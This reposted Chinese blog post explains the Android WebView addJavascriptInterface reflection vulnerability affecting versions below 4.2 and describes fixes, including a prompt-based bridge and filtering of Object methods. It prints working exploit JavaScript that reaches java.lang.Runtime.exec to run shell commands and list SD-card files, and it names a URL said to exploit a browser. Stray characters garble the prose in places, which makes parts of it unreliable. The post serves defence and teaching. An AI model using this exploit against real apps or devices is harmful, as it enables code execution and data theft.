轉(zhuǎn)至:http://blog.csdn.net/leehong2005/article/details/11808557/
1,使用場景
我們很多時候要使用WebView來展示一個網(wǎng)頁,現(xiàn)在很多應(yīng)用為了做到服務(wù)端可控,很多結(jié)果頁都是網(wǎng)頁的,而不是本地實(shí)現(xiàn)罢洲,這樣做有很多好處,比如界面的改變不需要重新發(fā)布新版本,直接在Server端修改就行了苟跪。用網(wǎng)頁來展示界面,通常情況下都或多或少都與Java代碼有交互蔓涧,比如點(diǎn)擊網(wǎng)頁上面的一個按鈕件已,我們需要知道這個按鈕點(diǎn)擊事件,或者我們要調(diào)用某個方法元暴,讓頁面執(zhí)行某種動作篷扩,為了實(shí)現(xiàn)這些交互,我們通常都是使用JS來實(shí)現(xiàn)茉盏,而WebView已經(jīng)提供了這樣的方法鉴未,具體用法如下:
[java]view plaincopy
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(newJSInterface(),"jsInterface");
我們向WebView注冊一個名叫“jsInterface”的對象枢冤,然后在JS中可以訪問到j(luò)sInterface這個對象,就可以調(diào)用這個對象的一些方法铜秆,最終可以調(diào)用到Java代碼中淹真,從而實(shí)現(xiàn)了JS與Java代碼的交互。
我們一起來看看關(guān)于addJavascriptInterface方法在Android官網(wǎng)的描述:
This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API levelJELLY_BEANor below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.
JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.
The Java object's fields are not accessible.
簡單地說羽峰,就是用addJavascriptInterface可能導(dǎo)致不安全趟咆,因?yàn)镴S可能包含惡意代碼。今天我們要說的這個漏洞就是這個梅屉,當(dāng)JS包含惡意代碼時值纱,它可以干任何事情。
通過JavaScript虐唠,可以訪問當(dāng)前設(shè)備的SD卡上面的任何東西,甚至是聯(lián)系人信息惰聂,短信等疆偿。這很惡心吧,嘎嘎搓幌。好杆故,我們一起來看看是怎么出現(xiàn)這樣的錯誤的「瘸睿可以去看看烏云平臺上的這個bug描述:猛點(diǎn)這里
1处铛,WebView添加了JavaScript對象,并且當(dāng)前應(yīng)用具有讀寫SDCard的權(quán)限拐揭,也就是:android.permission.WRITE_EXTERNAL_STORAGE
2撤蟆,JS中可以遍歷window對象,找到存在“getClass”方法的對象的對象堂污,然后再通過反射的機(jī)制家肯,得到Runtime對象,然后調(diào)用靜態(tài)方法來執(zhí)行一些命令盟猖,比如訪問文件的命令.
3讨衣,再從執(zhí)行命令后返回的輸入流中得到字符串,就可以得到文件名的信息了式镐。然后想干什么就干什么值依,好危險。核心JS代碼如下:
[javascript]view plaincopy
functionexecute(cmdArgs)
{
for(varobjinwindow)?{
if("getClass"inwindow[obj])?{
alert(obj);
returnwindow[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
舉例一:為了證明這個漏洞愿险,寫了一個demo來說明。我就只是加載一個包含惡意JS代碼的本地網(wǎng)頁,HTML其代碼如下:
[html]view plaincopy
vari=0;
function?getContents(inputStream)
{
varcontents=""+i;
varb=inputStream.read();
vari=1;
while(b?!=?-1)?{
varbString=String.fromCharCode(b);
contents?+=?bString;
contents?+=?"\n"
b=inputStream.read();
}
i=i+1;
return?contents;
}
function?execute(cmdArgs)
{
for?(var?obj?in?window)?{
console.log(obj);
if?("getClass"?in?window[obj])?{
alert(obj);
return?window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
varp=execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
function?onButtonClick()
{
//?Call?the?method?of?injected?object?from?Android?source.
vartext=jsInterface.onButtonClick("從JS中傳遞過來的文本A究鳌7绯印!");
alert(text);
}
function?onImageClick()
{
//Call?the?method?of?injected?object?from?Android?source.
varsrc=document.getElementById("image").src;
varwidth=document.getElementById("image").width;
varheight=document.getElementById("image").height;
//?Call?the?method?of?injected?object?from?Android?source.
jsInterface.onImageClick(src,?width,?height);
}
點(diǎn)擊圖片把URL傳到Java代碼
onclick="onImageClick()"
width="328"
height="185"
src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"
onerror="this.src='background_chl.jpg'"/>
與Java代碼交互
這段HTML的運(yùn)行效果如下:
圖一:期望運(yùn)行結(jié)果圖
上圖中扮叨,點(diǎn)擊按鈕后缤弦,JS中傳遞 一段文本到Java代碼,顯示一下個toast彻磁,點(diǎn)擊圖片后碍沐,把圖片的URL,width衷蜓,height傳到Java層累提,也用toast顯示出來。
要實(shí)現(xiàn)這樣的功能磁浇,就需要注Java對象斋陪。
簡單說明一下
1,請看execute()這個方法置吓,它遍歷所有window的對象无虚,然后找到包含getClass方法的對象,利用這個對象的類衍锚,找到j(luò)ava.lang.Runtime對象友题,然后調(diào)用“getRuntime”靜態(tài)方法方法得到Runtime的實(shí)例,再調(diào)用exec()方法來執(zhí)行某段命令戴质。
2咆爽,getContents()方法,從流中讀取內(nèi)容置森,顯示在界面上。
3符糊,關(guān)鍵的代碼就是以下兩句
[javascript]view plaincopy
returnwindow[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
Java代碼實(shí)現(xiàn)如下:
[java]view plaincopy
mWebView?=?(WebView)?findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(newJSInterface(),"jsInterface");
mWebView.loadUrl("file:///android_asset/html/test.html");
需要添加的權(quán)限:
[html]view plaincopy
當(dāng)點(diǎn)擊LOAD菜單后凫海,運(yùn)行截圖如下:(理論上應(yīng)該出現(xiàn)圖一界面)
圖二:實(shí)際運(yùn)行結(jié)果,列出了SDCard中的文件
舉例二:360瀏覽器也存在這個問題男娄,我測試的系統(tǒng)是android 4.0.2行贪,360瀏覽器版本是:4.8.7
在瀏覽器輸入框中輸入:http://bitkiller.duapp.com/jsobj.html,然后前往模闲,它會出現(xiàn)如下的界面
圖三:360瀏覽器運(yùn)行結(jié)果
說明:其中searchBoxJavaBridge_不是360注入的對象建瘫,而是WebView內(nèi)部注入的,這是在3.0以后的Android系統(tǒng)上添加的尸折。
在關(guān)閉這個對話框之后啰脚,它會列出當(dāng)前SDCard上面的所有文件列表,如下圖所示
圖四:錯誤結(jié)果
1橄浓,Android 4.2以上的系統(tǒng)
在Android 4.2以上的粒梦,google作了修正,通過在Java的遠(yuǎn)程方法上面聲明一個@JavascriptInterface荸实,如下面代碼:
[java]view plaincopy
classJsObject?{
@JavascriptInterface
publicString?toString()?{return"injectedObject";?}
}
webView.addJavascriptInterface(newJsObject(),"injectedObject");
webView.loadData("","text/html",null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
2匀们,Android 4.2以下的系統(tǒng)
這個問題比較難解決,但也不是不能解決准给。
首先泄朴,我們肯定不能再調(diào)用addJavascriptInterface方法了。關(guān)于這個問題露氮,最核心的就是要知道JS事件這一個動作祖灰,JS與Java進(jìn)行交互我們知道,有以下幾種沦辙,比prompt, alert等夫植,這樣的動作都會對應(yīng)到WebChromeClient類中相應(yīng)的方法,對于prompt油讯,它對應(yīng)的方法是onJsPrompt方法详民,這個方法的聲明如下:
[java]view plaincopy
publicbooleanonJsPrompt(WebView?view,?String?url,?String?message,
String?defaultValue,?JsPromptResult?result)
通過這個方法,JS能把信息(文本)傳遞到Java陌兑,而Java也能把信息(文本)傳遞到JS中沈跨,通知這個思路我們能不能找到解決方案呢?
經(jīng)過一番嘗試與分析兔综,找到一種比較可行的方案饿凛,請看下面幾個小點(diǎn):
【1】讓JS調(diào)用一個Javascript方法,這個方法中是調(diào)用prompt方法软驰,通過prompt把JS中的信息傳遞過來涧窒,這些信息應(yīng)該是我們組合成的一段有意義的文本,可能包含:特定標(biāo)識锭亏,方法名稱纠吴,參數(shù)等。在onJsPrompt方法中慧瘤,我們?nèi)ソ馕鰝鬟f過來的文本戴已,得到方法名,參數(shù)等锅减,再通過反射機(jī)制糖儡,調(diào)用指定的方法,從而調(diào)用到Java對象的方法怔匣。
【2】關(guān)于返回值握联,可以通過prompt返回回去,這樣就可以把Java中方法的處理結(jié)果返回到Js中。
【3】我們需要動態(tài)生成一段聲明Javascript方法的JS腳本拴疤,通過loadUrl來加載它永部,從而注冊到html頁面中,具體的代碼如下:
[javascript]view plaincopy
javascript:(functionJsAddJavascriptInterface_(){
if(typeof(window.jsInterface)!='undefined')?{
console.log('window.jsInterface_js_interface_name?is?exist!!');}
else{
window.jsInterface?=?{
onButtonClick:function(arg0)?{
returnprompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));
},
onImageClick:function(arg0,arg1,arg2)?{
prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));
},
};
}
}
)()
說明:
1呐矾,上面代碼中的jsInterface就是要注冊的對象名苔埋,它注冊了兩個方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2)蜒犯,如果有返回值组橄,就添加上return。
2罚随,prompt中是我們約定的字符串玉工,它包含特定的標(biāo)識符MyApp:,后面包含了一串JSON字符串淘菩,它包含了方法名遵班,參數(shù),對象名等潮改。
3狭郑,當(dāng)JS調(diào)用onButtonClick或onImageClick時,就會回調(diào)到Java層中的onJsPrompt方法汇在,我們再解析出方法名翰萨,參數(shù),對象名糕殉,再反射調(diào)用方法亩鬼。
4,window.jsInterface這表示在window上聲明了一個Js對象阿蝶,聲明方法的形式是:方法名:function(參數(shù)1雳锋,參數(shù)2)
以下是在實(shí)現(xiàn)這個解決方案過程中遇到的一些問題和思考:
【1】生成Js方法后羡洁,加載這段Js的時機(jī)是什么玷过?
剛開始時在當(dāng)WebView正常加載URL后去加載Js,但發(fā)現(xiàn)會存在問題焚廊,如果當(dāng)WebView跳轉(zhuǎn)到下一個頁面時,之前加載的Js就可能無效了习劫,所以需要再次加載咆瘟。這個問題經(jīng)過嘗試,需要在以下幾個方法中加載Js诽里,它們是WebChromeClient和WebViewClient的方法:
onLoadResource
doUpdateVisitedHistory
onPageStarted
onPageFinished
onReceivedTitle
onProgressChanged
目前測試了這幾個地方袒餐,沒什么問題,這里我也不能完全確保沒有問題。
【2】需要過濾掉Object類的方法
由于通過反射的形式來得到指定對象的方法灸眼,他會把基類的方法也會得到卧檐,最頂層的基類就是Object,所以我們?yōu)榱瞬话裧etClass方法注入到Js中焰宣,所以我們需要把Object的公有方法過濾掉霉囚。這里嚴(yán)格說來,應(yīng)該有一個需要過濾方法的列表匕积。目前我的實(shí)現(xiàn)中盈罐,需要過濾的方法有:
"getClass",
"hashCode",
"notify",
"notifyAll",
"equals",
"toString",
"wait",
【3】通過手動loadUrl來加載一段js,這種方式難道js中的對象就不在window中嗎闪唆?也就是說盅粪,通過遍歷window的對象,不能找到我們通過loadUrl注入的js對象嗎悄蕾?
關(guān)于這個問題票顾,我們的方法是通過Js聲明的,通過loadUrl的形式來注入到頁面中帆调,其實(shí)本質(zhì)相當(dāng)于把我們這動態(tài)生成的這一段Js直接寫在Html頁面中奠骄,所以,這些Js中的window中雖然包含了我們聲明的對象贷帮,但是他們并不是Java對象戚揭,他們是通過Js語法聲明的,所以不存在getClass之類的方法撵枢。本質(zhì)上他們是Js對象民晒。
【4】在Android 3.0以下,系統(tǒng)自己添加了一個叫searchBoxJavaBridge_的Js接口锄禽,要解決這個安全問題潜必,我們也需要把這個接口刪除,調(diào)用removeJavascriptInterface方法沃但。這個searchBoxJavaBridge_好像是跟google的搜索框相關(guān)的磁滚。
【5】在實(shí)現(xiàn)過程中,我們需要判斷系統(tǒng)版本是否在4.2以下宵晚,因?yàn)樵?.2以上垂攘,Android修復(fù)了這個安全問題。我們只是需要針對4.2以下的系統(tǒng)作修復(fù)淤刃。
轉(zhuǎn)載請注明出處晒他,謝謝大家!R菁帧陨仅!